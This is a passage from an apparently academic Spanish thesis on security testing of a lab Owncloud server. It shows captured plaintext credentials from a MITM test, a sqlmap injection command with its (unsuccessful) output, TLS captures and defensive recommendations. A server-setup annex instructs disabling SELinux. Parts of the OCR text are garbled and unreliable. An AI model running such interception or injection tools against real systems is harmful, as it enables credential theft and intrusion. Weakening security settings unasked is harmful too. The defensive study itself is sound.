ocvxB8yung94=17cp6k 170])3cn7hjbuo527c312; 37e5936f 43568e407dScBef014cS7e0e=rhhurk1sqsnakddlgcs8toks

user=ownclouduacmépassword=0wnclOududcmétimezone-of f set=- 6&timezone=America%2FMexico_City&requestt

| Entire conversation (43951 bytes)

| Buscar I Guardar como I Imprimir © AsCll (

Figura 4.20. Visualizacidn de usuario y contrasefa.

Las evidencias mostradas en la prueba de seguridad y analisis con Wireshark (figuras 4.14
y 4.17) que hacen referencia a los resultados de los archivos interceptados, prueba.txt y
cuento.txt, estas intervenciones fueron exitosas. Los archivos enviados a Owncloud se
filtraron por medio de los protocolos http. De cada archivo interceptado se generd un
resultado que muestra un paquete de la fuente 192.168.1.122 al destino 192.168.2.4
(figura 4.12).

Lo anterior indico que la intercepcidon de datos fue lo que se esperaba, ya que se pudo
capturar el texto plano enviado al servidor de nube Owncloud.

Ademas, con esta herramienta se pueden obtener nombres de usuario y contrasefia con el
gue se inicia sesidn. Para nuestro analisis de la cuenta de servidor de nube Owncloud, a lo
que se realizd el mismo procedimiento para la prueba MITM y se obtuvo lo siguiente:
Usuario: ownclouduacm

Contrasefa: OwnclOudu4cm

Cabe mencionar que estos resultados fueron mostrados en la prueba anterior en la figura
4.10.
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4.5 Prueba SQL injection

La prueba consiste en inyectar cédigos sql al portal de Owncloud, por medio de la herramienta
sqlmap que nos brinda Kali Linux, esto para lograr entrar a la base de datos y asi poder obtener
informacién de los usuarios registrados como datos de autenticacién de sus cuentas.

En la figura 4.21, se observa el inicio de la ejecucién de sglmap que como ya se menciondé
es una herramienta de kali Linux. El proceso para la inyeccion de cédigo sql al portal web

en un inicio no tiene problema pero el proceso queda trunco, mostrando un mensaje de
advertencia.

root@kali: /home/kalitesis

Archivo Editar Ver Buscar Terminal Ayuda

1/home/kalitesis# sqlmap -u https://192.168.2.4/owncloud/index.fhp --dbs

S I O }

I_ -1 11 [

N Sy O I Y B |
11 11 http://sglmap.or

[!] legal disclaimer: Usage of sqglmap for attacking targets without prior mutual consent i1s illegal. It is the end user's respo
nsibility to cbey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any

misuse or damage caused by this program

[*] starting at 04:43:45

[04:43:45] [INFO] testing connection to the target URL

[04:43:46] [INFO] testing if the target URL is stable

[04:43:47] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor in|
jectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a

string or regular expression to match on

how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c

[04:43:54] [CRITICAL] no parameter(s) found for testing in the provided data (e.g. GET parameter 'id' in 'www.site.com/index.ph
p?id=1")

[*] shutting down at ©4:43:54

:/home/kalitesis# ||

Figura 4.21. Comando y salida de sqlmap —u “https://192.168.2.4/index.php” —dbs

A continuacion, en la figura 4.22, se muestra el proceso final que ejecuta la herramienta
sqlmap, teniendo como resultado que el portal de Owncloud no es susceptible a inyeccion
de cddigo sql, y es por esta razén que la herramienta no logra terminar el proceso de
inyeccion, para poder ingresar a la base de datos y extraer la informacién del usuario.
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https://192.168.2.4/index.php

ractidlati: Mhomedlalitesis

[!] lagal disclaimar: Usaga of sqlmap for attacking targats without prior mutusl consent is illegal. It is tha end usar's responsibility to cbay All applicable local, state and
fedaral laws. Developaers assume no liebility and ere not respensible for amy misuse or demage caused by this program

[*] starting et B4:45:31

[04:45:31] [INFO] testing connection to the target URL

[04:45:32] [INFO] testing if the target URL is stable

[04:45:32] [WARNING] targat URL is not stable. sglmap will bsse the pega comparison on & soquenca metcher. IT no dynamlc nor injectstla paranetars are detected, or in case of j
unk results, refer to user's manual paragraph 'Pafie comparison' and provide a string or regular expression to match on

heW do you want to proceed? [{Clentinues{s)tring/{r}egexs{qiuit] ¢

[04:45:34] [INFO] testing if GET parameter 'id' is dynamic 1

[64:45:35] [WARNING] GET paramater 'id' does not appear dynamie

[04:45;35] IWARNING] heurdstic (basic) test shows that GET parameter 'ld* might not be injectable

[04:45:35] [INFO] testing for SOL injection aon GET parameter 'id"

[84:45:35] [INFD] tasting 'AND boolesn-besed blind - WHERE or HAVING clause'

[04:45:38) [INFO) testing 'HySOL »= 5.0 boolean-based blind - Paramater replace’

[04:45:38] [INFO] testing 'HySQL == 5.0 AND error-based - WHERE, HAVING, (RDER BY or GROUP BY clause’

[04:45:33] [INFO] testing ‘PostgreSOL AND arror-bosed - WHERE or HAVING clausa’

[04:45:48] [INFO] tasting ‘Hicrosoft SQL Servar/Sybase AND error-based - WHERE or HAVING clause'

[04:45:41] [INFO] testing 'Oracle AND arror-based - WHERE or HAVING clause [XHLTypa)'

[04:45:42] [INFO] tasting 'MySOL »= 5.0 error-basod - Parameter raplaca’

[64:45:42] [INFO] testing 'HySOL inline quaries'

[04:45:42] [INFO] testing 'PostgreSQL inline quories®

[04:45:42] [INFO] testing ‘Hicrosoft SQL Server/Sybase inlina queries'

[04:45:42] [INFO] testing 'HySOL = 5.0.11 stacked queries {SELECT - comment]®

[04:45:43] [INFO] testing ‘PostgreSQL > 8.1 stacked querles [comment)'

[84:45:44] [INFO] testing 'Microseft SOL Sarver/Sybase stacked quaries (comment)'

[04:45:44] [INFO] testing ‘Oracle stacked oueries [DOMS_PIPE.RECEIVE HESSAGE - corment)'

[04:45:45] [INFO] testing 'HySQL == 5.0.12 AND tima-based blind [SELECT)'

[94:45:46] [INFO) testing 'PostgreSOL » 8.1 AND time-based blind*

[04:45:47] (INFO) testing 'Hicrosoft SOL Sarver/Sybase time-based blind'

[04:45:48] [INFO] testing 'Oracle AND time-based blind'

[84:45:49) [INFD) testing ‘Genaric UNION query (MWULL) - 1 to 16 columns'

[B4:45:49] [WRRMING] using unesceped version of the test because of zerc knowledge of the back-end DBMS. You can try to explicltly set it using optlon ®--dbms®
[04:45:59] [INFO] testing 'HySOL UNION query (NULL) - 1 to 10 columns'

[P4:46:10] IWARNIHG] GET parameter "1d' 1s not injectable

[B4:456:18] [CRITICAL) all tested parameters appear to ba not injectable. Try to incraace '--lavel'/'--risk' values te parform more tests. Alsc, you can try to rarun by providin
g either a valid value for option ‘--string' {or "--regesp’) If you suspect that there is some kind of protection mechanism involved (e.g. WAF] maybe you could retry with an op
tion '--tamper' (e.g. '--tamper-spaceZcomment')

[*] shutting down at 04:46:18
rootQkaliz/homefkalitesiss |l

Figura 4.22. Error de ejecucidn para la inyeccion SQL.

En el caso particular del servidor de nube Owncloud, no se pudo realizar la inyeccion SQL,
debido a que el portal web no es vulnerable a ningun tipo de cédigo o sentencia SQL, de
tal manera que se comprobd que cualquier elemento que se pusiera en la URL de la
pagina no arrojo ningun error de sintaxis de SQL puesto que la pagina seguia cargando
exactamente igual. Esto también se debe a que la versién usada de Owncloud es la 8.2.1,
ya que las versiones anteriores a la 3.0.1 y posteriores a la misma liberaron una
actualizacion que elimina una serie de vulnerabilidades criticas, una de ellas cierra
agujeros, es decir, no hay errores de sql para el portal de Owncloud.

Por ello, no es posible hacer este tipo de ataque al servidor de nube Owncloud.
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4.6 Soluciones y recomendaciones

4.6.1 Soluciéon recomendada para la prueba MITM

Existen diferentes soluciones para la prueba MITM que pueden ser implementadas para
no estar en riesgo y ser victima de este tipo de ataque, esta recomendacién esta basada
en literatura consultada [23]:

» Usar siempre HTTPS
El servidor se verifica a si mismo presentando un certificado digital y se establece
un canal cifrado entre el cliente y el servidor a través del cual se envia la
informacién de forma confidencial. Siempre que se visite una pagina se debe
asegurar que la direccion muestre HTTPS en lugar de HTTP, y si no lo hace,
escribirlo manualmente. Esto no protege de vulnerabilidades del lado del cliente,
pero al menos evita que los atagues menos sofisticados intercepten las

comunicaciones.

» Evitar conexiones WIFI
Otra solucidn seria evitar conectarse a routers wifi abiertos o en su defecto usar
una navegacion con protocolo HTTPS la cual establece una conexion segura
siempre que sea posible.

» Usar una red VPN (Virtual Private Network)
Es una tecnologia de red que se utiliza para conectar una o mas computadoras a
una red privada utilizando Internet. De esta manera la conexién se cifra entre un
cliente VPN y un servidor VPN, estableciéndose a través de un tunel de
comunicacion seguro, aunque también este tipo de comunicacién es propenso a
ataques MITM, al menos hara mas dificil la intercepcion.

» Comprobar correo
Los correos electréonicos que se reciben de remitentes desconocidos con links
fraudulentos y sospechosos son muy comunes por lo tanto evitar hacer clic en
enlaces. Para obtener acceso a sitios seguros, escriba la direccién del sitio en el
navegador.
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» Actualizar los navegadores
Un factor importante al hacer una consulta segura es descargar la ultima versién
de los navegadores web de alta seguridad, como: Internet Explorer 7 o versién
superior, FireFox 3 o version superior, Google Chrome, Safari u Opera.

> Verificacion de dos pasos
Aumentar la seguridad del acceso a las cuentas de usuario, siempre que el
mecanismo de verificaciéon de los dos factores que mas a delante se ejemplifican
sea suficientemente fuerte. Esta es otra linea de defensa contra atacantes, por
ejemplo: introducir una contrasefia o PIN + huellas dactilares, patrén de iris o

reconocimiento de voz.

» Aplicacion Marmita 1.3
Esta es una solucidon con mayor eficacia ya que la alerta ocurre en tiempo real es
un software disefiado para detectar ataques de envenenamiento por ARP, donde
puede iniciarse en caso de tener duda si el sitio web al que estamos accediendo es
seguro [24].

La aplicacion se ejecuta antes de iniciar una conexion a algun sitio web. Al
momento de detectarse el ataque y que el usuario intente autentificarse en el
servicio de nube Owncloud, la herramienta de inmediato lanza una alerta
informando al usuario que estad siendo atacado mediante envenenamiento ARP,
mostrando también la tabla ARP, analizando los paquetes y cuantificAndolos, entre
otras cosas.
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En las figuras 4.23, 4.24 y 4.25 se muestran los resultados de la aplicacién Marmita
1.3 obtenidos al usar esta herramienta y al hacer un ataque MITM al servicio de

nube Owncloud.

¢ Configuration @ About

Realtek PCI GBE Family Controller - 0.0.0.0 v ) Start Detection

Main | History Attacks | A Info | DHCP Info | Logs

You are not being attacked.

Num. Paguets: 0 Sweep:

b Configuration @ About

Realtek PCle GBE Family Controller - 192.168.1.122

v =) Stop Detection

Main | History Attacks | Ap Info | DHCP Info | Logs

You are being attacked!!

Type:  ARP Poisoning
IP: 192.168.1.121

MAC:  00:22:19:1fb6:61

Date: 11/04/2016 - 11:34:55
Name: Unknown

Num. Paguets: 277

sueer:

Figura 4.23. Aplicacion Marmita.

. Configuration () About

Figura 4.24. Alerta de ataque MITM.

Realtek PCle GBE Famity Controller - 192.168.1.122 W = Stop Detection
Main | History Attacks | &p Info | DHCP Info | Logs
d  Type Date IP Attacker MName IP Wictim MAC Attacker

Mum. Paquets: 355

Figura 4.25. Informacion obtenida sobre el atacante.
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4.6.2 Solucidon recomendada para la prueba de seguridad y analisis con Wireshark

Para tener proteccién contra ataques de intercepcion de datos, es necesario contar con un
sistema de cifrado con el que se proteja la comunicacion al momento de estar
intercambiando informacién. Esta solucidn es basada en las pruebas realizadas en el
presente trabajo.

En el caso de la prueba hecha al servicio de nube de Owncloud, se tomaron medidas para
la proteccién de los datos almacenados, para ello, se utilizd seguridad SSL ya que es una
solucién segura en linea porque garantiza a los clientes que el sitio consultado es seguro,
autentico, real y confiable, ya sea para una simple visita, hacer compras en linea o iniciar
sesion y asi prevenir que se filtre informacion en caso de ser atacados por algun usuario
malicioso.

Asi mismo, se volvié a realizar la prueba pero ahora rectificando que los datos enviados al
servidor se transmitieran encriptados.

Retomando los pasos de esta prueba redactados en el capitulo 3 del presente trabajo, se
realizd una intercepcién con la herramienta Wireshark a un archivo pdf, en las figuras 4.26
y 4.27 se muestran los resultados obtenidos.

En la figura 4.26, se observa que la intercepcion estd encriptada, mostrando también el
protocolo de seguridad TLS Transport Layer Security, se muestra indicado como
Application Data, con direccion IP fuente 192.168.1.122 y direccién IP destino 192.168.2.4,
de igual manera en la figura 4.27, se muestra el contenido del paquete, el cual estd
formado solo por caracteres debido a la encriptaciéon del mismo.
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*ethl [Wireshark 1.12.6 (Git Rev Unknown from unknown)]

File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

Of%xo Q«=»> 073 EE aaaal g

Filter: Expression... Clear Apply Guardar
No. Time Source Destination Protocol! Length Info
2.212252000 adbo 5
9 2.213291000 192.168.2.4 192.168.1.122 TLS¥W1.2 199 Server Hello, change Cipher Spec, Encrypted Handshake Message
10 2.213610000 192.168.1.122 192.168.2.4 TLSwl.2 170 change Cipher Spec, Hello Request, Hello Request, Hello Request, Hello Request
17 2.215255000 192.168.1.122 192.168.2.4 TLSv1.2 571 client Hello
19 2.215283000 192.168.2.4 192.168.1.122 TLSw1.2 199 Server Hello, change Cipher Spec, Encrypted Handshake Message
20 2.216690000 192.168.1.122 192.168.2.4 TLS¥W1.2 170 change Cipher Spec, Hello Request, Hello RMjuest, Hello Request, Hello Request
21 2.217093000 192.168.1.122 152.168.2.4 TLSv1.2 944 ppplication Data
32 2.219205000 192.168.1.122 192.168.2.4 TLSv1.2 2974 Application Data
44 2.220980000 192.168.1.122 192.168.2.4 TLSvl.2 1514 Application Data
54 2.222228000 182.168.1.122 152.168.2.4 TLSV1.2 2974 ppplication Data
63 2.223725000 192.168.1.122 152.168.2.4 TLSv1.2 1514 Application Data
78 2.225222000 192.168.1.122 192.168.2.4 TLSv1.2 1514 Application Data
86 2.226471000 192.168.1.122 192.168.2.4 TLSvl.2 2074 Application Data
98 2.227966000 182.168.1.122 152.168.2.4 TLSV1.2 1514 Application Data
112 2.229466000 192.168.1.122 152.168.2.4 TLSv1.2 2974 Application Data
122 2.230712000 192.168.1.122 192.168.2.4 TLSv1.2 2155 Application Data
134 2.232208000 192.168.1.122 192.168.2.4 TLSvl.2 1514 Application Data
146 2.233705000 192.168.1.122 152.168.2.4 TLSV1.2 1514 Application Data
157 2.235202000 192.168.1.122 152.168.2.4 TLSv1.2 1514 Application Data
168 2.238451000 192.168.1.122 192.168.2.4 TLSv1.2 2974 Application Data
178 2.237947000 192.168.1.122 192.168.2.4 TLSvl.2 1514 Application Data
190 2.239197000 192.168.1.122 152.168.2.4 TLSV1.2 3054 Application Data
202 2.240694000 192.168.1.122 152.168.2.4 TLSv1.2 2974 Application Data
213 2.242185000 1592.168.1.122 192.168.2.4 TLSv1.2 1514 Application Data
225 2.243437000 192.168.1.122 192.168.2.4 TLSvl.2 2074 Application Data
237 2.244934000 192.168.1.122 152.168.2.4 TLSvl.2 1514 Application Data
250 2.246433000 192.168.1.122 152.168.2.4 TLSv1.2 2974 Application Data
280 2.247928000 1592.168.1.122 192.168.2.4 TLSv1.2 1514 Application Data
272 2.249178000 192.168.1.122 192.168.2.4 TLSvl.2 2074 Application Data
282 2.250672000 1892.168.1.122 152.168.2.4 TLSvl.2 1514 Application Data
294 2.252169000 192.168.1.122 152.168.2.4 TLSv1.2 1514 Application Data
0000 e8 de 27 a6 c2 7b 30 Sa 3a 47 be 00 08 00 45 00 ..'.{ez ..

0010 02 2d 45 38 40 00 80 ©6 2e c4 cO a8 Ol 7a cO a8
0020 02 04 ¢4 04 01 bb al c8 5f cf 85 09 e3 76 50 18
0030 0l 00 6a b3 00 00 16 03 01 02 00 01 00 01 fc 03

@7  Fite: "tmpswireshark_pcapng-ethl-2... Packets: 1023 - Displayed: 1023 (100.0%) - Dropped: 0 (0.0%)

Figura 4.26. Intercepcidn de archivo pdf encriptado.

Follow TCP Stream (tcp.stream eq 1) §00
Stream Content
................. vobege )kt WP L) g0 ke [
/.
I T PRSP o 0o TN 0 TP L TR SO T - U
FdGeadg
....... u...0..v........P..d@.\.M..s.u.H.J..f.nwPf[ 07
. . Befioao oo oooooc bl A Moo .(........he!..u..f......yoas
A E/z [Mu P el
.ED.\....1K.\.m..E..+.d0p.m....[7.... ->..]Q.,....OC.(.d.g...U.nO]d.I.... ...>g.....2....;?.N:n Bl \Govones T 20.P.0K, 49,0,
L0005, k0. W....8Ln.
I c RO -1 JKC0. L B, D200 TG G B L PRI +44.0.£.0.M. .38, .1 2*[WC;P....U...b.b&vb.. (P.Vsr.p... 9. WIYXD. .ch." .
[[f5.....t ....e\........7v..n... .....M@1..........u[.'.g..u.........,a2Zx E5 M
~oGs B 20 L0y e LR B

\oG..t.u I..[RSVQ K{NS..jhvyG#wVU..

E...

W--p/ @)

Tt ;
o, 4Ede}’TN L b

2 QI8 Sk AT i T2 e 0886 o _
WLy 9 g B D xR B 8z e s St e s R g o pe 03D 08BN e RO KL LT D 2
H‘HLH Yy e NwTey b VW [v A" Kuz hy # n_ R¥

’ Entire conversation (1411192 bytes) ‘

’ Buscar “ Guardar como H imprini ‘OASCH () EBCDIC () Hex Dump () C Ameys @ Raw

| \
Ayuda Filter Out This Stream

Figura 4.27. Despliegue de datos encriptados.
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En la figura 4.28, se muestra la comunicacion establecida entre el cliente y el servidor al

momento de interceptar el archivo, lo hacen mediante el protocolo handshake para que

ambas partes se autentiquen entre si y puedan intercambiar informacion.

13
14
15
2
24
25
26
27
41
51

2.685654000 182.168.2.4 192.168.1,122 TLSv1.2 1383 Server Hello, Certificate, Server Key Exchange, Server Hello Done
2.687722000 192.168.1.122 192.168.2.4 TLSv1.2 180 Client Key Exchange, Change Cipher Spec, Hello Request, Hello Request
2.689958000 192.168.2.4 192.168.1.122 TLSv1.2 316 Mew Session Ticket, Change Cipher Spec, Encrypted Handshake Message
2,691929000 192.168.1.122 182.168.2.4 TLSv1.2 571 Client Hello

2.702670000 192.168.2.4 192.168.1.122 TLSv1.2 1383 Server Hello, Certificate, Server Key Exchange, Server Hello Done
2.704706000 192.168.1.122 192.168.2.4 TLSv1.2 180 Client Key Exchange, Change Cipher Spec, Hello Request, Hello Request
2.706722000 192.168.2.4 192.168.1.122 TLSv1.2 316 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
2,707793000 192.168.1.122 182.168.2.4 TLSv1.2 947 Application Data

2,710249000 192.168.1.122 182.168.2.4 TLSv1.2 1514 Application Data

2.711750000 182.168.1.122 192.168.2.4 TLSv1. 2 1514 Application Data

Figura 4.28. handshake entre el cliente y servidor.

4.6.3 Recomendacidn para diagndstico de vulnerabilidades con NMAP

Recomendacion para el punto 4.1

» Utilizar puertos que no sean un estandar.

Al querer tener acceso a informacioén privada de alguin usuario el atacante se basa
en puertos estandar, es decir, 21 ftp, 22 ssh, 443 https, 80 http, entre otros. Asi al
utilizar puertos no estandar tendra mayor dificultad el atacante para encontrar la
informacion [16].

» Abrir solo los puertos necesarios.

No solo tener abiertos los puertos que se estan utilizando si no también otra
opciéon seria cerrar o silenciar los puertos, la diferencia entre estos es que al
cerrarlos y al hacer un andlisis de vulnerabilidad, el puerto ofrecera informacién de
gue esta cerrado y al silenciarlos, no revela informacién de su estado.

» Actualizacion de software [16].

Esta recomendacidn para algunos usuarios estaria de sobra ya que un software
antiguo contendra errores y fallos de vulnerabilidad donde cualquier script podria
derrumbarlo, secuestrarlo o hacer mal uso de él [16].
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4.6.4 Recomendacion para la seguridad en el portal de Owncloud

En el portal web de Owncloud se encuentran pestafas para configuracién personal de la
cuenta, en la cual hay una opcién llamada administracion, en ella se encuentran opciones
como avisos de seguridad y privacidad de la cuenta, opciones de correo, administracién de
los archivo, sugerencias, la version del servidor, actualizaciones, entre otras cosas.

Para que el servidor se encuentre mas seguro a la hora de enviar informacidn confidencial
por la red, se puede habilitar una opcidén la cual cifra el contenido de los archivos desde el
momento en que son cargados a él. También se puede hacer una copia de seguridad de
toda la instalacion de Owncloud, es decir, en caso de pérdida de archivos por una mala
administracion hecha por el usuario se puede restaurar la instalacién de Owncloud con la
copia de seguridad, los pasos para generar la copia de seguridad estan enlistados en el
mismo portal.

Existe una opcion la cual indica algunas recomendaciones de seguridad para el usuario
entre ellas: Utilizar una conexidn segura con HTTPS siempre que se utilice Owncloud para
evitar ataques o robo de informacidn, ajuste de rendimiento para el almacenamiento en la
memoria caché o vinculaciones a sitios externos para poder acceder a paginas web
rapidamente, todas las configuraciones de seguridad que el usuario puede configurar de
acuerdo a sus necesidades se encuentran en el manual de administracion del servidor,
disponible en la siguiente direccién:
https://doc.owncloud.org/server/8.2/admin_manual/configuration_server/oc_server_tun
ing.html.
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Conclusiones

Como resultado del analisis de seguridad en algunos servicios de alojamiento de archivos y
para finalizar el presente trabajo se obtienen las siguientes conclusiones.

Al elaborar una serie de pruebas de seguridad y analizar algunas vulnerabilidades en
servicios de nube privados como Owncloud, se demuestra la importancia que se debe
tener al elegir una plataforma en la cual se almacenara informacidon de cualquier tipo,
como lo es en los servicios de nube, esperando que esta sea protegida debidamente para
evitar que usuarios no autorizados tengan acceso a ella.

La extraccion de informaciéon al momento de iniciar sesidn en el servicio de nube
Owncloud, indica que no siempre se tiene la certeza de que los archivos almacenados
estén seguros, o en su defecto la informacidn personal que se ingresa al iniciar sesiéon. Por
otro lado un escaneo de puertos pone en riesgo la informacién almacenada en un equipo,
ya que de esta forma se podra saber que puertos son vulnerables para poder extraer
informacidn, en caso de no tener acceso algun equipo del cual se desee consultar archivos
se podra manipular el switch para tener una copia idéntica del intercambio de
informacién que se esté dando entre dos equipos. Este tipo de problemas son los mas
comunes por los cuales la informacién es filtrada y manipulada por personas

malintencionadas.

Finalmente con los resultados obtenidos durante este trabajo, se emiten algunas
recomendaciones para poder generar un sistema mas seguro y menos vulnerable ante
algun atacante o mejor dicho, un usuario malicioso que pretenda extraer informacién
aprovechando las fallas que algunos sistemas presentan en caso de no estar
completamente protegidos.
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Anexo ‘A’. Instalaciéon del Servidor web
Se requirié de la instalacion de un servidor con servicios web para la realizacién de las
pruebas de seguridad realizadas en el laboratorio B-207.Los servicios instalados fueron los
siguientes: phpMyAdmin, Joomla, Moodle y Owncloud, esto con la finalidad de simular un
servidor real, para la presente investigacion solo se hizo uso del servicio de nube
Owncloud ya que fue donde se realizaron las pruebas.

Los servicios se instalaron en una PC con las siguientes caracteristicas:
Lenovo (ThinkCentre), modelo: M83 i3, con una memoria RAM de 8GB y un disco duro 1T.

Para empezar la instalacién abrir una terminal con el siguiente comando para poder
visualizar las configuraciones que respectan ala IP.
#ip add show

Se puede verificar que la tarjeta de Red no estd activada por lo cual después de instalar
Centos 7 se procede a activar la tarjeta de red, para ello se edita el archivo siguiente [15].

Dirigirse a la siguiente ruta:
#cd /etc/sysconfig/network-scripts/

Para ver las interfaces existentes se ejecuta el comando con:
#ls

Desplegara una lista donde se encuentra la interfaz de nombre "cfg-enp2s0" (puede
cambiar respecto al S.0.), en el archivo cfg-enp2s0 se encuentra la descripcidon de la
interface, esta es una nomenclatura distinta, ya que normalmente suelen mostrarse como:
ethO, ethl, etc. Sin embargo en esta versién de Centos han cambiado por lo que se
encontraran de este tipo: enp3s0, enp4s0, etc.

En el siguiente archivo editar la linea mostrada en la figura Al.
#vi cfg-enp2s0
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HWADDR=00:25:90:EF:E1:A0
TYPE=Ethernet
BOOTPROTO=dhcp
DEFROUTE=yes
PEERDNS=yes
PEERROUTES=yes

IPV6INIT=yes

IPV6_ AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_PEERDNS=yes
IPV6_PEERROUTES=yes
IPV6_FAILURE_FATAL=no
NAME=enp2s0

.

IPV4_FAILURE_FATAL=no —

Se muestra la descripcién de la
interface de red como: MAC,
nombre e la interface y tipo, en
este caso el cambio de ONBOOT, es
para que la interface inicie
automadticamente en caso de que
se reinicie el servidor también lo
hard la interface.

UUID=35d66b15-f565-4826-9029-aacf3d4c0ae5

ON BOOT:yeS 6::::::::::::::::::::::::::::::::: escribir yes

Figura Al. Descripcion de la interface e red.

La configuracién en modo grafico se basa en NetworkManager, que es el que reinicia las

interfaces de red, para seguir con la instalacidn se reiniciara con el comando siguiente:

#systemctl restart NetworkManager

Si se desea ver cada red, se hae mediante el comando "ifconfig", para ello se procede a
instalar net-tools, que es un conjunto de herramientas para configuracion de las cuales se

puede hacer uso de ifconfig.
#yum install net-tools

Ya que hay conexion a internet. Es necesario actualizar el S.O Centos 7, se ejecuta el

siguiente comando para actualizar la lista de los paquetes del sistema.

#yum -y update
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A.1 Instalacion de httpd (servidor Web apache)

Para la instalacion de httpd se ejecuta el siguiente comando [15].
#yum -y install httpd 0 #sudo yum -y install httpd

Para que httpd inicie desde el arranque del servidor se habilita el servicio mediante el
comando:
#systemctl enable httpd.service

Se desactiva SELINUX en la siguiente ruta.
#vi /etc/selinux/config

En el archivo se modifica la siguiente linea: modificar enforcing por disabled, como se
muestra en la figura A2.

mhis file controls the state of SELinux on the system. \

# SELINUX= can take one of these three values:

# enforcing - SELinux security policy is enforced.

# permissive - SELinux prints warnings instead of enforcing.

# disabled - No SELinux policy is loaded.

SELINUX=enforcing € =========================== (cambiar por
disabled)

# SELINUXTYPE= can take one of these two values:

# targeted - Targeted processes are protected,

# minimum - Modification of targeted policy. Only selected processes are protected.
# mls - Multi Level Security protection.

SELINUXTYPE=targeted

N /

Figura A2. Configuracion de SELINUX.

Después se reinicia el servidor nuevamente con el siguiente comando:
#shutdown -r now

Para verificar que SELINUX estd desactivado y que este es un médulo de seguridad en el
cual sus politicas de seguridad se establecen para el control de acceso, en el caso de
instalar aplicaciones al sistema es conveniente desactivarlo para no tener complicaciones
en la instalacidn, se ejecuta lo siguiente para verificar su estado:

#sestatus
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Es necesario cambiar las reglas del firewall para que inicie por defecto, usando el comando
"firewall-cmd" donde agregaremos el servicio http.
#firewall-cmd --add-service=http

Para hacer que esta regla inicie por defecto en nuestro servidor, es decir que inicie al
reiniciar el servidor es necesario el comando.
#firewall-cmd --permanent --add-service=http

Reiniciar el Firewall meiante el commando:
#systemctl restart firewalld

Iniciamos el servicio httpd de la siguiente forma:
#sudo systemctl start httpd.service
#firewall-cmd --add-service=http

Colocar en el navegador la ip del servidor en este caso 192.168.1.124 (red LAN) o bien
puede ser http://localhost la pagina de bienvenida se encuentra en la ruta
/etc/httpd/conf.d/ en caso de que se desee modificar o eliminar.

A.2 Instalacion de mariadb

Es un gestor de base de datos derivado de MySQL, con mas funcionalidades donde se
puede ver informacién acerca del servidor como librerias, paqueterias, pluggins, usuarios,
entre otros [15].

Para la instalacién de mariadb se ejecuta el siguiente comando:
#sudo yum install mariadb-server mariadb

Para iniciar el servicio mariadb se ejecuta lo siguiente:
#sudo systemctl start mariadb

Es necesario configurar mysql para dar permisos de administrador y si lo deseamos
cambiar usuario y contrasefia, para ello se emplea el siguiente comando.
#sudo mysql_secure_installation

Colocar contrasefia de root y dar enter en los siguiente pedimentos (esto regularmente se
hace en caso de desear cambiar el usuario y contrasefa verificar lo que dice el monitor

para poder proseguir).

Para poder activar el Mariadb en el arranque del servidor es necesario realizar.
#sudo systemctl enable mariadb.service

Para crear bases de datos, para ver tablas de las bases.
#mysql -u root —p
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http://localhost/

/>show databases; ================) para ver las bases de datos creadas\
>show variables;

>create database ejemplo;
>create user ejemplo@localhost;
>set password for ejemplo@Iocalhost = password 'contraseﬁa';-
>GRANT ALL PRIVILEGES ON ejemplo.* to ejemplo@Ilocalhost identified by
'contrasefa’;

>flush privileges;

> /

Figura A3. Visualizacién del contenido de la base de datos.

Cambio de usuario Cambio de
contraseia

A.3 Instalacién de php5

Para la instalacion hay que buscar las versiones de php disponibles con el siguiente
comando:

#yum search php

Instalar php-mysqgl, php es un lenguaje enfocado para el desarrollo web que permite
ejecutar scripts y conectarse con base de datos de mysql/mariadb [15].

#sudo yum install php php-mysql o yum install php php-mysql php-pdo php-gd php-
mbstring

Reiniciar el httpd (servidor) para que empiece a trabajar con php.

#sudo systemctl restart httpd.service

Crear y editar el siguiente archivo para verificar el funcionamiento de php.

#vi /var/www/html/info.php
Colocar el siguiente contenido en el archivo de info.php.
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4 )

<?php
phpinfo();

Lineas

Agregadas
N J

Figura A4. Edicion del archivo info.php

Reiniciar nuevamente el servidor.
#systemctl restart httpd

Colocar en el navegador lo siguiente:
192.168.1.124 /info.php o 127.0.0.1/info.php

Se podra ver la informacion acerca del servidor como: paqueterias, librerias, plugins,
usuarios, etc.

NOTA:

Reiniciar el firewall como ya se ha hecho anteriormente.

#sudo firewall-cmd --permanent --zone=public --add-service=http
#sudo firewall-cmd --permanent --zone=public --add-service=https
#sudo firewall-cmd --reload

A.4 Instalacion de EPEL

Mads adelante se requerird instalar phpMyAdmin, sin embargo no esta disponible en
Centos 7, para obtener los paquetes necesarios se tiene que afadir un repositorio
adicional al sistema, un repositorio es como un banco de datos que aloja aplicaciones o
paguetes que el sistema necesita, el repositorio EPEL (Extra Packages for Eterprise Linux),
este contiene muchos paquetes adicionales entre ellos phpMyAdmin [25].

Para iniciar la instalacién ejecutamos lo siguiente:

#yum install wget
#wget -r --no-parent -A 'epel-release-*.rom'’

http://dl.fedoraproject.org/pub/epel/7/x86_64/e/rpm -Uvh
dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-*.rom
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A.5 Instalacion de phpmyadmin

PhpMyAdmin es un administrador de base de datos para MyS QL y Mariadb, se maneja
por medio de una interface web la cual facilita el manejo de usuarios, cuentas, base de
datos, contrasefias, entre otros.

Para ello se utiliza el siguiente comando:
#yum install phpmyadmin

Dirigirse a /etc/phpMyAdmin/ dentro veremos el archivo config.inc.php se modificara con
el siguiente coamndo.
#vi config.inc.php

Cambiar la siguiente linea:

Originalmente en esta linea aparece la palabra cookie y se cambiara por http. Ya que es el
método de autenticacion que permite acceder a cualquier usuario valido de la base de
datos a través de http, mientras que el cookie es el método de autenticacion mediante el
cual se da el acceso a cualquier usuario valido de la base de datos con la ayuda de cookies,
sin embargo para el caso del servidor web se utilizara autenticacién mediante http.

Scfg['Servers'][Si]['auth_type'] = 'http’;
// Método de autenticacién http, (basado en http o cookie)

En la ruta cd /etc/httpd/conf.d/ se modifica el archivo "phpMyAdmin.conf" esto para
poder permitir que la interfaz grafica reconozca la ip de servidor.

#vi /etc/httpd/conf.d/phpMyAdmin.conf

De forma predeterminada la configuracion de phpMyAdmin solo permite el acceso desde
el mismo equipo donde se aloja la aplicacidn, de manera que hay que ajustar esas reglas
